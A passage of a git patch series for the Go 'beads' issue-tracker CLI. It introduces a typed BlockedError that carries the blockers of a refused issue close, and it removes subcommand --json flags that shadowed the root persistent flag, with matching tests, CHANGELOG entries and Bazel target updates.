b/internal/storage/externaldeps/uow_decorator_test.go index ca6612025..4555a6dc6 100644 --- a/internal/storage/externaldeps/uow_decorator_test.go +++ b/internal/storage/externaldeps/uow_decorator_test.go @@ -211,9 +211,11 @@ func TestWrapUOWProviderRefusesProxiedCheckedClose(t *testing.T) { if err != nil { t.Fatalf("NewUOW: %v", err) } - if _, err := uw.IssueUseCase().CloseIssueChecked(t.Context(), blocked.ID, domain.CloseIssueParams{}, "tester", false); !errors.Is(err, storage.ErrCloseBlocked) { + _, err = uw.IssueUseCase().CloseIssueChecked(t.Context(), blocked.ID, domain.CloseIssueParams{}, "tester", false) + if !errors.Is(err, storage.ErrCloseBlocked) { t.Fatalf("CloseIssueChecked error = %v, want ErrCloseBlocked", err) } + assertExternalCloseBlockers(t, err, blocked.ID, "external:remote:payments") if len(issues.closed) != 0 { t.Fatalf("inner close calls = %v, want none", issues.closed) } diff --git a/internal/storage/issueops/close.go b/internal/storage/issueops/close.go index 54b5a4bf6..188c704c1 100644 --- a/internal/storage/issueops/close.go +++ b/internal/storage/issueops/close.go @@ -11,6 +11,7 @@ import ( "github.com/steveyegge/beads/internal/storage" "github.com/steveyegge/beads/internal/types" + publicops "github.com/steveyegge/beads/issueops" ) const closeCheckedSavepointPrefix = "issueops_close_checked_" @@ -151,12 +152,12 @@ func enforceClosePolicyForTargetInTx(ctx context.Context, tx DBTX, id, targetCol return 0, &storage.CloseOpenChildrenError{IssueID: id, OpenChildren: openChildren} } if !force && !closed { - blocked, blockers, err := IsBlockedInTx(ctx, tx, id) + blocked, blockers, err := isBlockedByInTx(ctx, tx, id) if err != nil { return 0, err } if blocked && len(blockers) > 0 { - return 0, fmt.Errorf("%w: %s is blocked by %v", storage.ErrCloseBlocked, id, blockers) + return 0, &publicops.BlockedError{IssueID: id, Blockers: blockers, Err: storage.ErrCloseBlocked} } } return openChildren, nil diff --git a/internal/storage/issueops/dependency_queries.go b/internal/storage/issueops/dependency_queries.go index 03e659b74..4ed8e7436 100644 --- a/internal/storage/issueops/dependency_queries.go +++ b/internal/storage/issueops/dependency_queries.go @@ -9,6 +9,7 @@ import ( "strings" "github.com/steveyegge/beads/internal/types" + publicops "github.com/steveyegge/beads/issueops" ) // GetAllDependencyRecordsInTx returns all dependency records from permanent and @@ -943,10 +944,25 @@ func GetNewlyUnblockedByCloseInTx(ctx context.Context, tx DBTX, closedIssueID st // IsBlockedInTx checks if an issue is blocked by active dependencies within // an existing transaction. Returns whether the issue is blocked and, if so, -// a list of blocker descriptions for display. +// a list of blocker descriptions for display, each spelled by +// publicops.Blocker.String. +func IsBlockedInTx(ctx context.Context, tx DBTX, issueID string) (bool, []string, error) { + blocked, blockers, err := isBlockedByInTx(ctx, tx, issueID) + if err != nil || len(blockers) == 0 { + return blocked, nil, err + } + names := make([]string, 0, len(blockers)) + for _, blocker := range blockers { + names = append(names, blocker.String()) + } + return blocked, names, nil +} + +// isBlockedByInTx is IsBlockedInTx with the live direct blockers kept typed, so +// a refusal can carry them without re-reading its own display strings. // //nolint:gosec // G201: table names are hardcoded constants. -func IsBlockedInTx(ctx context.Context, tx DBTX, issueID string) (bool, []string, error) { +func isBlockedByInTx(ctx context.Context, tx DBTX, issueID string) (bool, []publicops.Blocker, error) { var blocked bool found := false for _, table := range []string{"issues", "wisps"} { @@ -1010,7 +1026,7 @@ func IsBlockedInTx(ctx context.Context, tx DBTX, issueID string) (bool, []string if err != nil { return false, nil, fmt.Errorf("check blocker status: %w", err) } - var blockers []string + var blockers []publicops.Blocker for _, e := range edges { status, ok := statusByID[e.dependsOnID] if !ok { @@ -1019,11 +1035,7 @@ func IsBlockedInTx(ctx context.Context, tx DBTX, issueID string) (bool, []string if status == types.StatusClosed || status == types.StatusPinned { continue } - if e.depType != "blocks" { - blockers = append(blockers, e.dependsOnID+" ("+e.depType+")") - } else { - blockers = append(blockers, e.dependsOnID) - } + blockers = append(blockers, publicops.Blocker{ID: e.dependsOnID, Type: types.DependencyType(e.depType)}) } return true, blockers, nil diff --git a/issueops/errors.go b/issueops/errors.go index bc3e58dca..20eb03d30 100644 --- a/issueops/errors.go +++ b/issueops/errors.go @@ -3,8 +3,10 @@ package issueops import ( "errors" "fmt" + "strings" "github.com/steveyegge/beads/beadserrors" + "github.com/steveyegge/beads/internal/types" ) // ErrAlreadyClaimed is returned when attempting to claim an issue that is already @@ -103,6 +105,97 @@ var ErrPrefixMismatch = errors.New("prefix mismatch") // or an open blocking gate). Bypass with CloseIssueOptions.Force. var ErrCloseBlocked = errors.New("cannot close blocked issue") +// Blocker is one live blocker named by a BlockedError: a local issue id, or an +// `external::` reference, with the blocking edge's type +// when the refusal knew it. +type Blocker struct { + // ID is the blocker's issue id or its full `external:` reference. + ID string + // Type is the blocking edge's dependency type. It is empty when the + // refusal did not report it, which is the case for an `external:` + // reference named by the external-dependency guard. + Type types.DependencyType +} + +// externalBlockerPrefix marks a blocker that lives in another project and is +// satisfied by a shipped capability rather than by a local close. +const externalBlockerPrefix = "external:" + +// External reports whether the blocker is an `external:` reference rather than +// an issue this database holds. +func (b Blocker) External() bool { return strings.HasPrefix(b.ID, externalBlockerPrefix) } + +// String spells the blocker the way a blocked-issue refusal always has: the +// bare id for a `blocks` edge or an unreported type, and "id (type)" for the +// other blocking edges. ParseBlocker is its inverse. +func (b Blocker) String() string { + if b.Type == "" || b.Type == types.DepBlocks { + return b.ID + } + return b.ID + " (" + string(b.Type) + ")" +} + +// ParseBlocker reads one entry of the []string blocker list a store's IsBlocked +// reports — the spelling Blocker.String writes — back into its typed form. It +// exists for producers that hold only that string contract; a producer with the +// edges in hand builds Blocker values directly. A bare local id is a `blocks` +// edge, and an `external:` reference keeps an unreported type. +// +// The `external:` test comes first because a capability may itself end in a +// parenthesized suffix: `external:remote:pay (beta)` is a legal reference, and +// splitting it would report a truncated ID and a type the external guard never +// names. +func ParseBlocker(s string) Blocker { + if strings.HasPrefix(s, externalBlockerPrefix) { + return Blocker{ID: s} + } + if i := strings.LastIndex(s, " ("); i > 0 && strings.HasSuffix(s, ")") { + return Blocker{ID: s[:i], Type: types.DependencyType(s[i+2 : len(s)-1])} + } + return Blocker{ID: s, Type: types.DepBlocks} +} + +// BlockedError reports the live blockers that refused an operation on a blocked +// issue, read by the refusing check itself. It wraps the refusal rather than +// replacing it — the ClaimConflictError arrangement — so the sentinel still +// matches and its message is byte-identical to the historical +// ": is blocked by []", while a caller that reports the +// refusal elsewhere (the HTTP surface's `blockers` member) reads the typed list +// instead of parsing that prose. +// +// Err is ErrCloseBlocked for a close-policy refusal. The type is not +// close-specific: any refusal whose subject is "this issue is blocked by these" +// can carry its own sentinel. +type BlockedError struct { + // IssueID names the issue that was refused. + IssueID string + // Blockers are the live blockers, in the order the check reported them. + Blockers []Blocker + // Err is the wrapped refusal sentinel, e.g. ErrCloseBlocked. + Err error +} + +// NewCloseBlockedError builds the close-policy refusal for issueID from the +// []string blocker list a store's IsBlocked reports (see ParseBlocker). +func NewCloseBlockedError(issueID string, blockers []string) *BlockedError { + parsed := make([]Blocker, 0, len(blockers)) + for _, blocker := range blockers { + parsed = append(parsed, ParseBlocker(blocker)) + } + return &BlockedError{IssueID: issueID, Blockers: parsed, Err: ErrCloseBlocked} +} + +func (e *BlockedError) Error() string { + names := make([]string, 0, len(e.Blockers)) + for _, blocker := range e.Blockers { + names = append(names, blocker.String()) + } + return fmt.Sprintf("%v: %s is blocked by %v", e.Err, e.IssueID, names) +} + +// Unwrap makes BlockedError match the refusal it carries. +func (e *BlockedError) Unwrap() error { return e.Err } + // ErrCloseOpenChildren is returned when an unforced close finds open // parent-child dependents. var ErrCloseOpenChildren = errors.New("cannot close issue with open children") diff --git a/issueops/issueops_external_test.go b/issueops/issueops_external_test.go index c2e1e772d..4f12dffbc 100644 --- a/issueops/issueops_external_test.go +++ b/issueops/issueops_external_test.go @@ -200,6 +200,54 @@ func TestOpenChildrenCloseContractShape(t *testing.T) { } } +// TestBlockedErrorKeepsTheHistoricalSentence pins the compatibility half of the +// typed refusal: its message is byte-identical to the fmt.Errorf every producer +// used before it, so the direct and proxied CLI lines and `failed[].error` do +// not move, while the list it prints is now typed. +func TestBlockedErrorKeepsTheHistoricalSentence(t *testing.T) { + blockers := []string{"bd-2", "bd-3 (waits-for)", "bd-4 (conditional-blocks)", "external:remote:payments", "external:remote:pay (beta)"} + err := issueops.NewCloseBlockedError("bd-1", blockers) + + legacy := fmt.Errorf("%w: %s is blocked by %v", issueops.ErrCloseBlocked, "bd-1", blockers) + if err.Error() != legacy.Error() { + t.Errorf("BlockedError = %q, want the historical %q", err.Error(), legacy.Error()) + } + if !errors.Is(err, issueops.ErrCloseBlocked) { + t.Errorf("BlockedError does not match ErrCloseBlocked: %v", err) + } + var typed *issueops.BlockedError + if !errors.As(fmt.Errorf("close bd-1: %w", err), &typed) || typed.IssueID != "bd-1" { + t.Fatalf("errors.As through a wrap = %+v", typed) + } + + want := []issueops.Blocker{ + {ID: "bd-2", Type: "blocks"}, + {ID: "bd-3", Type: "waits-for"}, + {ID: "bd-4", Type: "conditional-blocks"}, + {ID: "external:remote:payments"}, + // A capability may end in a parenthesized suffix. The whole + // reference is the ID, and the external guard reports no type. + {ID: "external:remote:pay (beta)"}, + } + // %#v, not %+v: Blocker implements String(), so the default verbs print + // the reassembled spelling — which round-trips even when the parse split + // an external reference wrongly, making got and want look identical. + if !reflect.DeepEqual(typed.Blockers, want) { + t.Errorf("Blockers = %#v, want %#v", typed.Blockers, want) + } + for i, blocker := range typed.Blockers { + if got := blocker.String(); got != blockers[i] { + t.Errorf("Blockers[%d].String() = %q, want the IsBlocked spelling %q", i, got, blockers[i]) + } + if parsed := issueops.ParseBlocker(blocker.String()); parsed != blocker { + t.Errorf("ParseBlocker(String(%+v)) = %+v; the two must be inverses", blocker, parsed) + } + if got, wantExternal := blocker.External(), i >= 3; got != wantExternal { + t.Errorf("Blockers[%d].External() = %v, want %v", i, got, wantExternal) + } + } +} + func TestPublicDependencyConflictTypesRemainCanonical(t *testing.T) { var typeConflict error = &issueops.DependencyTypeConflictError{} var hierarchyConflict error = &issueops.DependencyHierarchyConflictError{} From 39aa86fec56934bde9907e408c49c88c8255a6c4 Mon Sep 17 00:00:00 2001 From: =?UTF-8?q?B=C3=B9i=20Phan=20Vi=E1=BA=BFt=20C=C6=B0=E1=BB=9Dng?= <34797498+cuongbphv@users.noreply.github.com> Date: Thu, 1 Oct 2026 14:53:08 +0700 Subject: [PATCH 003/325] fix(cli): stop eleven subcommands shadowing the root --json flag (#6245) * fix(cli): stop eleven subcommands shadowing the root --json flag --json is a persistent flag on rootCmd bound to jsonOutput. Ten subcommands (restore, admin compact, repo add/remove/list/sync, migrate, migrate sync/hooks/schema) also registered a local --json bound to the same variable. pflag's AddFlagSet keeps the local flag and drops the inherited one, so rootCmd.PersistentFlags().Changed("json") stayed false for those commands; PersistentPreRunE and refreshBoundCommandConfig then treated the flag as unset and reset jsonOutput from config. `bd restore --json` and friends printed text unless config said json: true. restore_embedded_test.go recorded the symptom as a "known issue" and skipped its JSON assertion. bd preflight registered an unbound local Bool("json") instead; it read its own flag and was not affected by the reset, but it shadowed the root flag the same way and ignored a configured json default. It now inherits the root flag like status, update and the proxied close/reopen routes. Remove the eleven local registrations. Add TestNoSubcommandShadowsRootJSONFlag, which walks the command tree and fails on any command that registers its own --json (local or persistent). Restore the restore_json assertion (parse the output, check ID and description). Flip the compact and migrate schema registration tests to assert the flag is inherited, matching stale_test.go. Visible change: --json moves from each command's Flags section to Global Flags in --help, with the root description. docs/cli-reference is pinned to the release tag and regenerates at release time. * fix(cli): make the --json shadow guard side-effect free TestNoSubcommandShadowsRootJSONFlag walked every command through LocalNonPersistentFlags(), and the --json assertions in compact_test.go and migrate_test.go used InheritedFlags(). Both call cobra's mergePersistentFlags(), which copies every root persistent flag into the command's Flags() for the rest of the test process. TestServeFlags pins the exact flag set of `bd serve`, so `go test ./cmd/bd` failed whenever it ran after the guard; CI only stayed green because the two tests land in different name-hash shards. Compare the command's Flags().Lookup("json") against the root flag pointer instead. A local registration is a different *pflag.Flag; an inherited one is the same pointer, and a command that has not merged yet returns nil. Verified: the four tests pass together, and re-adding a local --json to `bd restore` still fails the guard. bd preflight also drops its `jsonOutput, _ := cmd.Flags().GetBool("json")` shadow of the package-level variable. The root flag is bound to that variable and PersistentPreRun already resolves the flag/config precedence, so the local copy was redundant and swallowed the lookup error. * review: re-key the preflight --json test to the root flag Base #6293 added TestPreflightJSONFlagBindsGlobal, which opens by requiring preflightCmd to own a local --json. This PR's guard forbids exactly that, so the two tests were mutually exclusive and the adopted head was red. The base test arrived with a base advance after this PR was written, so nothing in the contributed work is wrong. Adapt the test rather than restore the local flag: every property it pins survives re-keyed to the root persistent flag, which is BoolVar'd to the same package global. The opening assertion becomes the shadow-aware compare this PR already introduced in compact_test.go, the Changed==true branch is driven through rootCmd.PersistentFlags().Set (flag.Value.Set never sets Changed), and the config half is unchanged. Renamed to TestPreflightJSONInheritsRootFlag so the name stops asserting the very thing the PR removes. Also correct three CHANGELOG clauses that were true against the contributor's older base and false at this one: #6293's commandJSONFlagChanged already consults a subcommand's own Changed bit before the root's, preflight's local flag was bound rather than unbound, and #6293 already announced that preflight honors the json config default. The bullet now claims what this PR delivers here -- deleting the shadowing registrations instead of compensating for them. Compile the new guard into the Bazel test target. cmd/bd/json_flag_shadow_test.go was absent from the explicit srcs of go_test(name = "bd_test"), so the invariant this PR exists to create never ran in the BAZEL* lanes -- and those lanes are required for merge: CI_GATE_REQUIRED on origin/main lists BAZEL, BAZEL_TEST, BAZEL_PURE, BAZEL_EMBEDDED, BAZEL_DOLTSERVER, BAZEL_PROXIED and BAZEL_SERVER_STORAGE. Added in sorted position between jira_test.go and kv_embedded_test.go; the file is untagged package main, so bd_test is the right target under the root gazelle:build_tags gms_pure_go. make bazel-sync-check cannot catch this -- it maintains only the go_srcs filegroup globs, not go_test srcs. Finally, reconcile the neighbouring #6293 bullet, which this PR invalidates. It still described preflight's --json as "bound to the same global every sibling command binds" and closed on "because an unbound flag reports as unset" -- both describing the local registration deleted here, fourteen lines from the bullet announcing the deletion and shipping in the same [Unreleased] section. Trimmed to the user-visible outcome #6293 still owns; the new bullet carries the registration story. Co-Authored-By: Claude Opus 5 --------- Co-authored-by: Gas City Adopt-PR Co-authored-by: Claude Opus 5 --- CHANGELOG.md | 23 +++++++++++---- cmd/bd/BUILD.bazel | 1 + cmd/bd/compact.go | 1 - cmd/bd/compact_test.go | 8 +++--- cmd/bd/json_flag_shadow_test.go | 45 +++++++++++++++++++++++++++++ cmd/bd/migrate.go | 4 --- cmd/bd/migrate_test.go | 15 +++++----- cmd/bd/preflight.go | 7 ----- cmd/bd/preflight_test.go | 51 +++++++++++++++++---------------- cmd/bd/repo.go | 4 --- cmd/bd/restore.go | 1 - cmd/bd/restore_embedded_test.go | 18 ++++++++---- 12 files changed, 114 insertions(+), 64 deletions(-) create mode 100644 cmd/bd/json_flag_shadow_test.go diff --git a/CHANGELOG.md b/CHANGELOG.md index 3e64aadd8..8c41de849 100644 --- a/CHANGELOG.md +++ b/CHANGELOG.md @@ -26,6 +26,20 @@ and this project adheres to [Semantic Versioning](https://semver.org/spec/v2.0.0 (already "bug"); pass a single value`. Single-flag and comma-form spellings behave exactly as before. +- **`bd restore`, `bd admin compact`, `bd repo `, + `bd migrate [sync|hooks|schema]` and `bd preflight` no longer register a + local `--json` that shadows the root persistent flag.** pflag keeps a + command's own flag and drops the inherited one, so + `rootCmd.PersistentFlags().Changed("json")` stays false for that command; + [#6293](https://github.com/gastownhall/beads/pull/6293) compensated for that + per command by making the pre-run consult the subcommand's own `Changed` bit + before the root's. Deleting the eleven local registrations removes the + shadowing itself rather than working around it: `--json` moves to the Global + Flags section of those commands' `--help`, and a guard test now fails the + build if a command shadows the root flag again — closing the class before an + *unbound* local copy can reappear and invert the output mode it was meant to + select. + - **`bd init --force` can no longer silently recreate a missing server-side database as empty** (be-5up5). `--force` is an alias for `--reinit-local`, which skips the existing-data guard entirely, and the reinit path's own typed @@ -880,12 +894,9 @@ and this project adheres to [Semantic Versioning](https://semver.org/spec/v2.0.0 stdout is unlimited, agent mode on a terminal gets 20, and a terminal gets 50. - **`bd preflight` honors the `json` config default** - ([#6293](https://github.com/gastownhall/beads/pull/6293)). Its `--json` flag - is bound to the same global every sibling command binds, so `json: true` in - the config file now selects JSON output for `bd preflight` as it already did - elsewhere. Previously only the explicit flag was honored — and, because an - unbound flag reports as unset, `bd preflight --json` did not reach every - JSON-aware renderer. + ([#6293](https://github.com/gastownhall/beads/pull/6293)). `json: true` in the + config file selects JSON output for `bd preflight`, as it already did + elsewhere; previously only the explicit flag was honored. - **`bd gate check` resolves bead gates whose target lives in a prefix-routed rig** ([#5859](https://github.com/gastownhall/beads/pull/5859)). After a local miss, the evaluator follows the target bead ID through `routes.jsonl` and diff --git a/cmd/bd/BUILD.bazel b/cmd/bd/BUILD.bazel index e48c4113f..76f738ea5 100644 --- a/cmd/bd/BUILD.bazel +++ b/cmd/bd/BUILD.bazel @@ -833,6 +833,7 @@ go_test( "init_worktree_test.go", "jira_max_rows_gate_test.go", "jira_test.go", + "json_flag_shadow_test.go", "kv_embedded_test.go", "kv_proxied_integration_test.go", "kv_test.go", diff --git a/cmd/bd/compact.go b/cmd/bd/compact.go index d81026537..6d655d93b 100644 --- a/cmd/bd/compact.go +++ b/cmd/bd/compact.go @@ -986,7 +986,6 @@ func init() { compactCmd.Flags().IntVar(&compactBatch, "batch-size", 10, "Issues per batch") compactCmd.Flags().IntVar(&compactWorkers, "workers", 5, "Parallel workers") compactCmd.Flags().BoolVar(&compactStats, "stats", false, "Show compaction statistics") - compactCmd.Flags().BoolVar(&jsonOutput, "json", false, "Output JSON format") // New mode flags compactCmd.Flags().BoolVar(&compactAnalyze, "analyze", false, "Analyze mode: export candidates for agent review") diff --git a/cmd/bd/compact_test.go b/cmd/bd/compact_test.go index 9ed745687..b760e42cd 100644 --- a/cmd/bd/compact_test.go +++ b/cmd/bd/compact_test.go @@ -345,9 +345,9 @@ func TestCompactInitCommand(t *testing.T) { t.Error("compactCmd should have Long description") } - // Verify --json flag exists - jsonFlag := compactCmd.Flags().Lookup("json") - if jsonFlag == nil { - t.Error("compact command should have --json flag") + // --json is inherited from rootCmd as a persistent flag; a local copy + // would shadow it (see TestNoSubcommandShadowsRootJSONFlag). + if f := compactCmd.Flags().Lookup("json"); f != nil && f != rootCmd.PersistentFlags().Lookup("json") { + t.Error("compact command must not register a local --json; it inherits the root flag") } } diff --git a/cmd/bd/json_flag_shadow_test.go b/cmd/bd/json_flag_shadow_test.go new file mode 100644 index 000000000..c7f2a5bca --- /dev/null +++ b/cmd/bd/json_flag_shadow_test.go @@ -0,0 +1,45 @@ +package main + +import ( + "testing" + + "github.com/spf13/cobra" +) + +// TestNoSubcommandShadowsRootJSONFlag guards the root --json contract. +// +// --json is a persistent flag on rootCmd. When a subcommand registers its own +// --json (local or persistent), pflag keeps that one and drops the inherited +// one, so rootCmd.PersistentFlags().Changed("json") stays false for that +// command. The PersistentPreRun then treats the flag as unset and overwrites +// jsonOutput with the configured default, and `bd --json` prints text +// unless the config also says json. Every command must inherit the root flag +// instead. +// +// The check reads Flags() and PersistentFlags() only. LocalNonPersistentFlags() +// and InheritedFlags() call mergePersistentFlags, which copies every root +// persistent flag into the command's Flags() for the rest of the process and +// breaks tests that pin a command's exact flag set (TestServeFlags). +func TestNoSubcommandShadowsRootJSONFlag(t *testing.T) { + rootJSON := rootCmd.PersistentFlags().Lookup("json") + if rootJSON == nil { + t.Fatal("root command must register persistent --json") + } + + var offenders []string + var walk func(cmd *cobra.Command) + walk = func(cmd *cobra.Command) { + for _, sub := range cmd.Commands() { + local := sub.Flags().Lookup("json") + if (local != nil && local != rootJSON) || sub.PersistentFlags().Lookup("json") != nil { + offenders = append(offenders, sub.CommandPath()) + } + walk(sub) + } + } + walk(rootCmd) + + for _, path := range offenders { + t.Errorf("%q registers a local --json flag that shadows the root persistent flag", path) + } +} diff --git a/cmd/bd/migrate.go b/cmd/bd/migrate.go index d611852f7..db9596c7d 100644 --- a/cmd/bd/migrate.go +++ b/cmd/bd/migrate.go @@ -917,22 +917,18 @@ func init() { migrateCmd.Flags().Bool("dry-run", false, "Show what would be done without making changes") migrateCmd.Flags().Bool("update-repo-id", false, "Update repository ID (use after changing git remote)") migrateCmd.Flags().Bool("inspect", false, "Show migration plan and database state for AI agent analysis") - migrateCmd.Flags().BoolVar(&jsonOutput, "json", false, "Output migration statistics in JSON format") // --force bypasses the remote-migrate gate (#4259) as the single designated // migrator. No -f shorthand: deliberate typing for a fork-risk bypass. migrateCmd.Flags().Bool("force", false, "Bypass the remote-migrate gate as the single designated migrator (equivalent to BD_ALLOW_REMOTE_MIGRATE=1)") migrateSyncCmd.Flags().Bool("dry-run", false, "Show what would be done without making changes") - migrateSyncCmd.Flags().BoolVar(&jsonOutput, "json", false, "Output in JSON format") migrateCmd.AddCommand(migrateSyncCmd) migrateHooksCmd.Flags().Bool("dry-run", false, "Show what would be done without making changes") migrateHooksCmd.Flags().Bool("apply", false, "Apply planned hook migration changes") migrateHooksCmd.Flags().Bool("yes", false, "Skip confirmation prompt for --apply") - migrateHooksCmd.Flags().BoolVar(&jsonOutput, "json", false, "Output in JSON format") migrateCmd.AddCommand(migrateHooksCmd) - migrateSchemaCmd.Flags().BoolVar(&jsonOutput, "json", false, "Output in JSON format") // --force on migrate schema mirrors the parent command's flag; both trip the // same isForcedMigrate check in main.go's PersistentPreRunE. migrateSchemaCmd.Flags().Bool("force", false, "Bypass the remote-migrate gate as the single designated migrator (equivalent to BD_ALLOW_REMOTE_MIGRATE=1)") diff --git a/cmd/bd/migrate_test.go b/cmd/bd/migrate_test.go index f7577f0c3..80c62f781 100644 --- a/cmd/bd/migrate_test.go +++ b/cmd/bd/migrate_test.go @@ -17,18 +17,19 @@ import ( // TestFormatDBList removed: formatDBList and dbInfo types were removed. func TestMigrateSchemaFlagBoundaries(t *testing.T) { - // Registration only: strict subprocess tests use the unique root persistent - // --format=json alias because duplicate local --json registration can shadow - // whether PersistentPreRunE sees the root flag as explicitly set. + // Registration only. --json must come from the root persistent flag: a + // local duplicate shadows it, so PersistentPreRunE never sees the root + // flag as explicitly set and resets jsonOutput from config. for _, name := range []string{"inspect", "dry-run"} { if flag := migrateSchemaCmd.Flags().Lookup(name); flag != nil { t.Errorf("migrate schema unexpectedly registers local --%s", name) } } - for _, name := range []string{"json", "force"} { - if flag := migrateSchemaCmd.Flags().Lookup(name); flag == nil { - t.Errorf("migrate schema must register local --%s", name) - } + if f := migrateSchemaCmd.Flags().Lookup("json"); f != nil && f != rootCmd.PersistentFlags().Lookup("json") { + t.Error("migrate schema must not register a local --json; it inherits the root flag") + } + if flag := migrateSchemaCmd.Flags().Lookup("force"); flag == nil { + t.Error("migrate schema must register local --force") } if flag := rootCmd.PersistentFlags().Lookup("json"); flag == nil { t.Error("root command must register persistent --json") diff --git a/cmd/bd/preflight.go b/cmd/bd/preflight.go index e7b59a39a..719404ad9 100644 --- a/cmd/bd/preflight.go +++ b/cmd/bd/preflight.go @@ -79,13 +79,6 @@ const lintCancellationGrace = 10 * time.Second func init() { preflightCmd.Flags().Bool("check", false, "Run checks automatically") preflightCmd.Flags().Bool("fix", false, "Auto-fix issues where possible (vendorHash, version sync)") - // Bound to the package global like every other command's local --json. - // commandJSONFlagChanged suppresses the config-driven default whenever a - // local --json is set, so a flag that does not write the global would - // leave `bd preflight --json` with jsonOutput=false — inverting JSON mode - // for everything that reads the global, including the front-door error - // renderers. - preflightCmd.Flags().BoolVar(&jsonOutput, "json", false, "Output results as JSON") preflightCmd.Flags().Bool("skip-lint", false, "Skip lint check explicitly") rootCmd.AddCommand(preflightCmd) diff --git a/cmd/bd/preflight_test.go b/cmd/bd/preflight_test.go index 230cf3b41..5be1f4b59 100644 --- a/cmd/bd/preflight_test.go +++ b/cmd/bd/preflight_test.go @@ -544,30 +544,38 @@ func TestIsBeadsRepo(t *testing.T) { } } -// TestPreflightJSONFlagBindsGlobal pins both halves of preflight's --json -// binding, which is one flag serving two masters. Setting it must write the -// package global, or every jsonOutput reader (including the front-door refusal +// TestPreflightJSONInheritsRootFlag pins preflight's --json contract now that +// the command inherits the root persistent flag instead of registering a local +// copy. A local copy would shadow the inherited one and is what +// TestNoSubcommandShadowsRootJSONFlag forbids, so the first check rejects a +// local flag rather than requiring one. +// +// The binding this pins is unchanged, only re-keyed: the root flag is +// BoolVar'd to the same package global (main.go), so setting it must write +// jsonOutput, or every jsonOutput reader (including the front-door refusal // renderers) stays in text mode while the user asked for JSON. Leaving it // unset must report unchanged to commandJSONFlagChanged, which is what lets a -// config-file `json: true` reach preflight the way it reaches its siblings — -// a deliberate behavior change from the unbound shadow this replaced, and the -// reason the CHANGELOG calls it out. +// config-file `json: true` reach preflight the way it reaches its siblings. // // The last two subtests drive that config half rather than only asserting the // negative direction. flag.Value.Set never sets Changed (only FlagSet.Set // does), so the Changed==true branch of commandJSONFlagChanged needs its own -// case, and the behavior the CHANGELOG announces — configured `json: true` -// with no flag flipping jsonOutput — only happens inside -// refreshBoundCommandConfig, so it has to be driven through that function. -func TestPreflightJSONFlagBindsGlobal(t *testing.T) { - flag := preflightCmd.Flags().Lookup("json") - if flag == nil { - t.Fatal("preflight has no --json flag") - } +// case — driven through the root flag, which is the one an inheriting command +// now has — and the configured `json: true` with no flag flipping jsonOutput +// only happens inside refreshBoundCommandConfig, so it has to be driven +// through that function. +func TestPreflightJSONInheritsRootFlag(t *testing.T) { rootJSON := preflightCmd.Root().PersistentFlags().Lookup("json") if rootJSON == nil { t.Fatal("root has no persistent --json flag") } + // --json is inherited from rootCmd as a persistent flag; a local copy + // would shadow it (see TestNoSubcommandShadowsRootJSONFlag). Comparing + // against the root flag rather than requiring nil tolerates a sibling test + // having already merged the root persistent flags into this command's set. + if f := preflightCmd.Flags().Lookup("json"); f != nil && f != rootJSON { + t.Error("preflight must not register a local --json; it inherits the root flag") + } // refreshBoundCommandConfig consults config only when neither --json nor // its hidden --format alias was given, so this test owns that flag's // Changed bit too. @@ -577,15 +585,13 @@ func TestPreflightJSONFlagBindsGlobal(t *testing.T) { } oldGlobal := jsonOutput - oldValue, oldChanged := flag.Value.String(), flag.Changed - oldRootChanged := rootJSON.Changed + oldValue, oldRootChanged := rootJSON.Value.String(), rootJSON.Changed oldFormatChanged := rootFormat.Changed // refreshBoundCommandConfig reapplies every config-backed default, not // just json; restore the rest so this test cannot leak into siblings. oldReadonly, oldActor, oldAutoCommit := readonlyMode, actor, doltAutoCommit t.Cleanup(func() { - _ = flag.Value.Set(oldValue) - flag.Changed = oldChanged + _ = rootJSON.Value.Set(oldValue) rootJSON.Changed = oldRootChanged rootFormat.Changed = oldFormatChanged jsonOutput = oldGlobal @@ -593,9 +599,9 @@ func TestPreflightJSONFlagBindsGlobal(t *testing.T) { config.ResetForTesting() }) - t.Run("flag writes the package global", func(t *testing.T) { + t.Run("inherited flag writes the package global", func(t *testing.T) { jsonOutput = false - if err := flag.Value.Set("true"); err != nil { + if err := rootJSON.Value.Set("true"); err != nil { t.Fatal(err) } if !jsonOutput { @@ -604,7 +610,6 @@ func TestPreflightJSONFlagBindsGlobal(t *testing.T) { }) t.Run("neither flag set reports unchanged", func(t *testing.T) { - flag.Changed = false rootJSON.Changed = false if commandJSONFlagChanged(preflightCmd) { t.Fatal("preflight reported an explicit --json with neither flag set; the config-file json default would never apply") @@ -612,9 +617,8 @@ func TestPreflightJSONFlagBindsGlobal(t *testing.T) { }) t.Run("explicit --json reports changed", func(t *testing.T) { - flag.Changed = false rootJSON.Changed = false - if err := preflightCmd.Flags().Set("json", "true"); err != nil { + if err := preflightCmd.Root().PersistentFlags().Set("json", "true"); err != nil { t.Fatal(err) } if !commandJSONFlagChanged(preflightCmd) { @@ -629,7 +633,6 @@ func TestPreflightJSONFlagBindsGlobal(t *testing.T) { } config.Set("json", true) - flag.Changed = false rootJSON.Changed = false rootFormat.Changed = false jsonOutput = false diff --git a/cmd/bd/repo.go b/cmd/bd/repo.go index 2b8a1adb8..aadcc0564 100644 --- a/cmd/bd/repo.go +++ b/cmd/bd/repo.go @@ -476,10 +476,6 @@ func init() { repoCmd.AddCommand(repoListCmd) repoCmd.AddCommand(repoSyncCmd) - repoAddCmd.Flags().BoolVar(&jsonOutput, "json", false, "Output JSON") - repoRemoveCmd.Flags().BoolVar(&jsonOutput, "json", false, "Output JSON") - repoListCmd.Flags().BoolVar(&jsonOutput, "json", false, "Output JSON") - repoSyncCmd.Flags().BoolVar(&jsonOutput, "json", false, "Output JSON") repoSyncCmd.Flags().Bool("verbose", false, "Show detailed sync progress") rootCmd.AddCommand(repoCmd) diff --git a/cmd/bd/restore.go b/cmd/bd/restore.go index 6a4121817..2d0cd523f 100644 --- a/cmd/bd/restore.go +++ b/cmd/bd/restore.go @@ -176,7 +176,6 @@ func issueContentSize(issue *types.Issue) int { } func init() { - restoreCmd.Flags().BoolVar(&jsonOutput, "json", false, "Output restore results in JSON format") restoreCmd.Flags().BoolVar(&restoreApply, "apply", false, "Write the restored content back into the issue (default: display only)") rootCmd.AddCommand(restoreCmd) } diff --git a/cmd/bd/restore_embedded_test.go b/cmd/bd/restore_embedded_test.go index 45a709e8d..7d00c2dbc 100644 --- a/cmd/bd/restore_embedded_test.go +++ b/cmd/bd/restore_embedded_test.go @@ -4,6 +4,7 @@ package main import ( "context" + "encoding/json" "fmt" "os" "os/exec" @@ -13,6 +14,7 @@ import ( "time" "github.com/steveyegge/beads/internal/storage/embeddeddolt" + "github.com/steveyegge/beads/internal/types" ) // bdRestore runs "bd 